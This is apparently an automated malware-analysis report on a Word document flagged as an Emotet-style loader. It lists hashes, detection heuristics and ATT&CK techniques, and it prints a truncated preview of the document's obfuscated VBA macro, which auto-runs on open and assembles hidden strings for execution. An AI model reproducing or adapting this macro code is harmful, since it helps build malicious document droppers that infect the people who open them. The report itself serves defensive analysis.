Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae6d730290ce786e…

MALICIOUS

Office (OLE)

148.0 KB Created: 2018-04-24 13:18:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: f7ce57bc9422deda10fe2aa763d04db1 SHA-1: 89871fd34488d28eda0d65387bc46dcd912e167f SHA-256: ae6d730290ce786ea000c50cacc0ceb470cd5683fc1ac81826bb9731c27530f3
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands. This is commonly used to download and execute further stages of malware. The presence of the Document_Open macro suggests it executes automatically upon opening the document.

Heuristics 5

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://af3R+f3R In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46960 bytes
SHA-256: 35cd447e3a94c1632178302c8e236dad4190553dee68c4ce6149bd7c1abb06a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zLOOXlR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub RSUjar(qDRmtP)
XiGzSJ = 91647 - CDbl(15570 / Int(63244) - 20340 / Round(96305 / CSng(31171 - CByte(48868)))) * PaQFml * Fix(92635) - 67389 / CByte(cnWbvN) / zLBvf - CBool(68736) / fvzsJl / Atn(19884)
End Sub
Sub JSJbdB(HitoDd)
vhAuZ = 20621 - CDbl(74773 / Int(27596) - 57267 / Round(13154 / CSng(60793 - CByte(91799)))) * JpsmzU * Fix(84028) - 57792 / CByte(STkGS) / XCrfB - CBool(37572) / PrPMz / Atn(96277)
oCvhQX = 35062 - CDbl(72504 / Int(13244) - 81555 / Round(68647 / CSng(72792 - CByte(64781)))) * PjJSrj * Fix(82570) - 52589 / CByte(zuRJZ) / WlUti - CBool(30031) / YDpvl / Atn(72521)
AwPlJA = 21008 - CDbl(10921 / Int(88149) - 14743 / Round(28875 / CSng(8960 - CByte(25729)))) * wnzNtk * Fix(69372) - 9983 / CByte(szbzI) / cwzFf - CBool(29012) / ifAYq / Atn(32957)
End Sub
Sub MidCcb(qisBL)
hXmiBC = 97861 - CDbl(32962 / Int(21905) - 33775 / Round(98904 / CSng(64580 - CByte(45631)))) * IUNUuS * Fix(26553) - 4526 / CByte(VZWjq) / OEEUTW - CBool(14722) / RWnSaB / Atn(25113)
UFjHWU = 45576 - CDbl(12378 / Int(85651) - 64770 / Round(59019 / CSng(18581 - CByte(33078)))) * fVIiz * Fix(24313) - 90825 / CByte(EWAbv) / GAnAAr - CBool(8373) / zjPth / Atn(95707)
End Sub
Private Sub Document_open()
On Error Resume Next
lrzbIr = 35947 - CDbl(19603 / Int(91043) - 8043 / Round(806 / CSng(67584 - CByte(14229)))) * NHvYZ * Fix(99640) - 84324 / CByte(dJaEOX) / PDfzl - CBool(35016) / CznGnq / Atn(85035)
Application.Run AHwQkb + "UKGPiErDPRId" + UHzjr, oBDdu + bXFLiNL + jAUlVi
EvlSLB = 3662 - CDbl(63605 / Int(17274) - 35070 / Round(15399 / CSng(96257 - CByte(75934)))) * ujXzBa * Fix(31771) - 26236 / CByte(kdtFLw) / WbhBXZ - CBool(67687) / mipjfj / Atn(91189)
End Sub
Sub HnlRzm(ISrzB)
Swpkdw = 63401 - CDbl(32439 / Int(72877) - 50448 / Round(41002 / CSng(19 - CByte(66304)))) * SkjhP * Fix(78054) - 97164 / CByte(RafhkG) / jfchA - CBool(36967) / zwCnOO / Atn(41379)
QROYB = 46096 - CDbl(66437 / Int(18033) - 65389 / Round(24665 / CSng(81460 - CByte(63899)))) * PFwLas * Fix(4829) - 89093 / CByte(Siujkn) / bakQDJ - CBool(27000) / LFAAW / Atn(88514)
JlHkq = 11562 - CDbl(52335 / Int(77209) - 42584 / Round(36556 / CSng(37254 - CByte(44493)))) * jiVnvd * Fix(11599) - 74397 / CByte(RaFrd) / VrBXz - CBool(94729) / IYAwZ / Atn(1468)
End Sub
Sub OzkmPm(kNFsni)
Ujizc = 51102 - CDbl(36729 / Int(59113) - 33351 / Round(91481 / CSng(45909 - CByte(3227)))) * WwnwE * Fix(10138) - 1346 / CByte(UqTcqT) / iviLOU - CBool(75663) / VzwaSj / Atn(61080)
End Sub
Sub ONdKna(oihLA)
LWmGiA = 41312 - CDbl(31939 / Int(24247) - 74408 / Round(76984 / CSng(67237 - CByte(9741)))) * AHfhI * Fix(77419) - 3577 / CByte(ONJzE) / qchImB - CBool(20161) / KTkiKY / Atn(4246)
pbiIHh = 7022 - CDbl(99567 / Int(5962) - 24237 / Round(77930 / CSng(13295 - CByte(14976)))) * zlwha * Fix(69367) - 10176 / CByte(wDGZwL) / ZddCoX - CBool(65112) / vjIYh / Atn(10660)
End Sub

Attribute VB_Name = "MDTlWzmczS"
Sub KfiBh(sCdiKE)
BPWBA = 34381 - CDbl(21509 / Int(45503) - 49721 / Round(43448 / CSng(83433 - CByte(6600)))) * KpznA * Fix(61577) - 69282 / CByte(MCjtw) / jfcrB - CBool(97733) / jGclcf / Atn(13376)
End Sub
Function bXFLiNL()
On Error Resume Next
jwwRfi = 98939 - CDbl(39198 / Int(50798) - 40399 / Round(42973 / CSng(60393 - CByte(68639)))) * pjAPZ * Fix(89866) - 93563 / CByte(QoXoZ) / dbijb - CBool(7432) / vjSsG / Atn(28634)
HoDNi = wXiHs("ohRYU f3R+fG mm", EWdVa - EWdVa + 3 + EWdVa - EWdVa, EWdVa - EWdVa + 9 + EWdVa - EWdVa)
zLmkQ = 14608 - CDbl(85258 / Int(23362) - 58131 / Round(72979 / CSng(97165 - CByte(50475)))) * LjKurI * Fix(52912) - 81841 / CByte(mnDfou) / hXTfuX - CBool(10287) / nXSfR / Atn(95493)
EAfqOW = 545 - CDbl(18634 / Int(93357) - 90709 / Round(4046 / CSng(33200 - CByte(80451)))) * roNBw * Fix(49735) - 99874 / CByte(cWPNJ) / ovFDC - CBool(90618) / QBRdP / Atn(96341)
CDzrE
... (truncated)